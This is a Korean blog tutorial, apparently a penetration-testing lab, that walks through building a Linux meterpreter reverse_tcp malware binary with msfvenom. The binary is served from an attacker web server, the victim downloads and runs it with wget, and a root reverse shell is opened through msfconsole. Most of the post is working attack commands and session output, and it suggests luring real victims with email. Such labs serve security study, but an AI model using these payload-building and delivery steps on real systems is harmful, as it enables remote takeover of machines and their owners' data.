실습> msfvenom 을 이용한 악성코드 작성하기
metasploit의 리눅스 기반의 reverse_tcp payload는
reverse connection 을 기반으로 하고 있다.
malware 를 실행하면 Victim이 Attacker로 접속하고 meterpreter 쉘이 실행되는 공격 형태이다.
Attacker(Kali) : 192.168.50.200
Victim(CentOS 7) : 192.168.50.100
리눅스 버전
+-- meterpreter shell
|
Attacker | Victim
+----------+ v | +----------+
| | +===+ | | |
| | | | | | |
| 4444 ---->| M |<-|----- 1017 [malware]
| | | | | | |
| | +===+ | | |
+----------+ | +----------+
192.168.50.200 192.168.50.100
iptables 활성화
-- 실습 순서 --
1. Victim 방화벽 활성화
2. 웹서버 시작
3. 악성 실행파일 생성
4. 공격 대기
5. 악성코드 실행
6. Victim 장악
-- 실습 순서 --
1. Victim 방화벽 활성화
iptables -A INPUT -m state --state INVALID -j DROP
iptables -A INPUT -m state --state ESTABLISHED -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --sport 22 -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -j DROP
victim# iptables -nL INPUT
Chain INPUT (policy ACCEPT)
target prot opt source destination
DROP all -- 0.0.0.0/0 0.0.0.0/0 state INVALID
ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 state ESTABLISHED
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:80
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp spt:22
ACCEPT all -- 0.0.0.0/0 0.0.0.0/0
DROP all -- 0.0.0.0/0 0.0.0.0/0
2. 웹서버 시작
피해자(Victim) 가 악성코드를 다운로드 받기 위해서 웹서버를 실행한다.
Attacker# /etc/init.d/apache2 start
3. 악성 실행파일 생성
자신의 IP주소를 확인하고 악성파일을 생성한다.
Attacker# ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.50.200 netmask 255.255.255.0 broadcast 192.168.108.255
inet6 fe80::20c:29ff:feea:9e42 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:ea:9e:42 txqueuelen 1000 (Ethernet)
RX packets 759542 bytes 963831179 (919.1 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 399628 bytes 30515946 (29.1 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
msfvenom 옵션
lhost : 공격자 IP주소
lport : 공격자 포트번호
-f : 실행파일 형식
-o : 악성파일 경로
/var/www/html/malware2 로 악성코드를 생성한다.
Attacker# msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp \
lhost=192.168.50.200 lport=4444 -f elf -o /var/www/html/malware2
Attacker# file /var/www/html/malware2
/var/www/html/malware2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, no section header
4. 공격 대기
공격자는 공격 모듈을 선택하고 포트를 오픈한 후 피해자가 연결되기를 기다린다.
Attacker# msfconsole
msf6 > info multi/handler
msf6 > use multi/handler
msf6 exploit(multi/handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
LHOST 변수에 Attacker's IP Address 를 설정한다.
msf6 exploit(multi/handler) > set LHOST 192.168.50.200
exploit 명령어를 이용해서 공격대기를 한다.
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.50.200:4444
5. 악성코드 실행
Victim에서 악성코드를 다운로드 받아서 실행한다.
여기서는 실제 악성코드를 다운로드 받아서 실행하지만 시나리오 기반으로 생각한다면
메일을 보내서 피해자를 유인할 수 있고 여러가지 다양한 방법을 생각할 수 있을 것이다.
Victim# wget http://192.168.50.200/malware2
Victim# chmod 755 malware2
Victim# ./malware2
Victim 에서 악성코드를 다운로드 받아서 실행하면 msfconsole에 메세지가 나타나고
Victime으로 reverse connection으로 연결하고 상태를 확인할 수 있다.
[*] Started reverse TCP handler on 192.168.50.200:4444
[*] Sending stage (984904 bytes) to 192.168.50.100
[*] Meterpreter session 1 opened (192.168.50.200:4444 -> 192.168.50.100:58876) at 2021-08-05 04:54:02 -0400
Attacker# netstat -natp | grep 4444
tcp 0 0 192.168.50.200:4444 192.168.50.100:58876 ESTABLISHED 39466/ruby
victim# netstat -nat | grep 4444
tcp 0 0 192.168.50.100:58876 192.168.50.200:4444 ESTABLISHED
6. Victim 장악
피해자의 공격에 성공하면 meterpreter 쉘이 실행된 걸 확인할 수 있다.
Computer : nginx.linuxmaster.net
OS : CentOS 7.9.2009 (Linux 3.10.0-1160.el7.x86_64)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > shell
Process 7179 created.
Channel 1 created.
w
17:55:42 up 23:09, 3 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 Tue19 27:28m 0.20s 0.20s -bash
root pts/0 192.168.108.1 12:11 1:42 0.21s 0.03s w
root pts/1 192.168.108.1 Wed19 46.00s 0.10s 0.10s -bash
id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:0c:29:29:7b:76 brd ff:ff:ff:ff:ff:ff
inet 192.168.50.100/24 brd 192.168.108.255 scope global noprefixroute ens33
valid_lft forever preferred_lft forever
inet6 fe80::40c:616e:a7d9:752e/64 scope link noprefixroute
valid_lft forever preferred_lft forever
'Linux > 모의해킹' 카테고리의 다른 글
| [Kali] hydra 무차별 대입 공격 (0) | 2021.12.28 |
|---|---|
| tracert 를 이용한 경로 추적하기 (0) | 2021.12.28 |
| [Kali] Port Scan 포트 스캔 (0) | 2021.12.28 |
| [Linux] Bind Shell & Reverse Shell (0) | 2021.11.10 |
| [Linux] Bind Connection & Reverse Connetcion (0) | 2021.11.10 |